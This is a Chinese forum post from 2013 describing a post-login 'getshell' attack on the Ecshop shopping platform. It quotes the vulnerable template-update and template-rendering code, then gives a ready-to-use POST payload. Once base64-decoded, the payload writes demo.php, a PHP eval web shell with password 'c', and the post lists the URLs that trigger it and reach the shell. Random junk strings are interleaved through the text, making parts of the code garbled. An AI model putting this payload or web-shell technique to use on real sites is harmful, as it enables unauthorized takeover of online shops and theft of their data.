找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2417|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
0 N3 S# o/ S3 a4 P# p6 _
9 n! i, ^1 @1 p5 U* e- S而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
' H: _" e+ B4 L8 D2 K5 d但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
, G- g0 V6 q, g2 E( Yadmin/template.php+ |$ u, v# D- X. i9 X! r& U
  q  p$ m* B8 L" G' u* u1 N
1 if ($_REQUEST['act'] == 'update_library')
. [4 Q" L6 {1 x. ]- Q: e4 d# o$ w5 p; C- _6 M' t% u+ s8 g
2   % {: |+ m! X4 r2 X0 w
% S2 p5 d: h8 u
3 {
& p' W" k- U6 I( G. k6 w6 s
, r% a: S3 G4 b6 _$ @4     check_authz_json('library_manage');
& ]( E7 z+ a6 R6 C
' O. e1 I4 H7 J3 I3 a8 B) \9 R5   # [8 v# m8 M) B

7 _3 b2 N0 y$ }" v, ~- V: W6     $html = stripslashes(json_str_iconv($_POST['html'])); % e$ P# N% b4 Q

3 U0 }% p' c; C5 ~& M' s# M5 C7   
* `- P+ {% ^5 u; d) C
) i- Z" |- U# O7 l8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
. _; d. W! s$ N3 j1 N# Z) l
, \& I5 [) ^3 i+ y9     h+ m  g; j0 u$ D* _0 W% |+ p
4 R5 J( z8 D/ E6 J/ ?5 f% T
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 ( s5 g) H6 o, k3 H

# B6 c0 K+ F3 @5 v11   5 O, G+ \4 m, |6 n4 B/ B/ M
2 z  d, b8 r! E
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); . O( l: m0 r$ Z' T

4 T$ \8 ^5 E( `; I13   * d* e  u! n. ?) J* A! }( o

$ A4 x0 D0 {( J; b- P14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
: \7 Y% _" M' i# o
. v/ T" V7 b( K8 c/ J15     { 0 e0 x% O9 c7 N5 Y  B3 \, ~
' }# o, k" G  v5 s% j; n
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); : U- U; r# ]- \( K- A
- ?+ Z4 a0 k) |& J2 H7 f, ]2 Q
17         make_json_result('', $_LANG['update_lib_success']);
- T! X0 m1 V8 G+ u9 N3 |
& u& V$ ~/ d) H3 k" D3 o: A1 ]$ j' S18     }
. f2 L; y7 ?, h6 ]  x1 E2 \7 g2 T
19     else
- d- J! v; `* I4 [! |/ M0 N/ g  [6 L) \! X/ t+ {5 F5 m4 N: P
20     {
4 i0 H7 Z; f' ?% t) \. F
" U( b7 R8 l* x21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); / U5 L7 l" [2 {7 @
8 z# n( |& n! O& @, l; p/ x
22     } & \# \% G2 y8 p7 r0 P! c6 t

/ @9 _# d$ Y: c/ M; c  c23 } 0 a5 K: A! W% O2 R/ W+ r+ M  x

1 W0 Z  z; c# A; S3 y  Y那么找个比较方便调用了模板的文件
% H- g8 S# |1 }1 B! J1 h; Z% hindex.php- T) c' K* X7 \# d" k; @
! F4 _4 B. H: B
1 if ($act == 'cat_rec') , j5 S, F/ @* V% c! x( J0 E4 f

4 |. k4 J7 H* q7 P- t) L! x2     E8 Z) S$ u: I# v( J# l
- J' g! L7 E$ G/ O$ A( b8 E
3 { 9 `+ e3 h( h6 w: ~4 U) q
' r" b- h0 U6 E: q
4   & X8 g, S% A. Y5 N* L3 d

; m/ s4 e! C3 z5 t" a5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); , ]/ l3 Q; ]* j& A' `

+ M1 k: p) _( p0 T+ k1 _6   
. H& k. o' ?0 G, l' i9 N  K0 x+ Z
, m& R1 O, _5 F5 U) z7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
4 \) K9 q: ~( `0 }& F
  \9 R  P* ?+ u7 m. w# x8   1 e$ m9 i! ~1 \. i6 t8 Y  p5 }
  ~6 K! S! J0 Y! P" `! Y' U
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
3 l/ e8 m  b0 F1 ]2 }% q
) z9 y( f+ e6 ]) w10   
1 I( _  W% S2 ?+ Z$ v8 `4 C. N- O3 j5 w' E; [1 \
11     include_once('includes/cls_json.php'); , |/ s8 I2 D! k7 c

( e! X) K0 ]" @+ g12   0 N) P; u( X5 S$ j$ P- V7 r

% [; j; |& w- m1 |% S: |13     $json = new JSON;
2 w1 J) @& T* c2 o# u1 [/ P1 W( H2 {9 E$ ^
14   + O) _) o$ l8 X$ t( w
( W; ?* q6 O5 @
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
! s; _! W* e$ Y/ |8 N& |! I' @/ U* l! C# ]6 t# G8 E9 f0 g
16   6 y4 T- X! k' K* O! d# C
: |8 D/ G& F# {4 M
17     $children = get_children($cat_id); * D* Q; E) j7 T( |: T  z/ a  E7 L
5 o( V# A% y" D% R) `. P
18   
0 T, a$ U% _+ ?6 B
4 j( ~) W" {8 Z& e% D19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 " ~' U1 ]1 X6 H; k! H) A

0 z! G4 `0 p) y" X6 E9 H$ n, N6 D20   4 f) U# P/ J# P

8 H5 H6 @- Q. l4 Q; o8 W1 a- P21     $smarty->assign('cat_rec_sign', 1);
2 h* |+ C: _  {$ C/ B. y- T: l
& T8 Z0 H) c: b* y( z& r22   # J, C( M+ [6 L, c

$ g6 U' n& E7 n  L23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best - g, |& [* G) \  c( D3 K9 G$ |
$ M, N5 L7 V, T4 a
24   
/ r% V+ K6 W" M  r* @- D0 U" G) Y2 k0 R$ m- c0 q6 @8 ]9 R
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
8 E: i/ W( m6 t0 x( s' v3 M  k( T7 g6 T3 |
26   ( N; g: G1 q2 {

$ K2 a/ f) i5 `, P  w) A27         echo $rec_array[$rec_type];
( q8 _8 p6 `# t( G, @
# S) }+ N1 L* e3 D28   & u5 u$ Y# l" q$ V2 W

6 G; j- g. R4 {) D& L29     die($json->encode($result)); , w1 X4 d: M* i; ~8 Z9 o% s/ A; R
6 o. a0 q; ~3 Q* S* `
30   
6 M! j% o( |/ h1 H8 m- z
$ ~5 z0 k3 S( U- g" Z31 }
8 p& Z: V! l* A+ r& g8 P3 ]) H4 v7 m4 ]7 Y2 k+ T8 [
那么就有利用方法了
6 ?6 P' I* p' |! [* G2 P# N$ v* npost包到http://localhost/ec/admin/template.php?act=update_library; \% k) A1 \( z2 U
Post内容:  t% k6 e5 i1 Z* x& H- ]

( Q+ s0 d1 e7 ^  L4 n3 s# @& E5 c3 j8 H- z  U; ^
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} , `. L: {3 l  t5 k: _$ Q

. A8 j# @8 B5 W7 p然后访问http://localhost/ec/index.php?act=cat_rec
& _' U8 @& ~1 v/ _8 C7 v9 H- o
+ k$ {- ~. H$ a& dshel地址:http://localhost/ec/demo.php
, C3 y: {; C# S" [' }密码c& G( J% O1 a; f; q3 e) N

$ I1 B1 Z6 z( d& M6 i3 ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表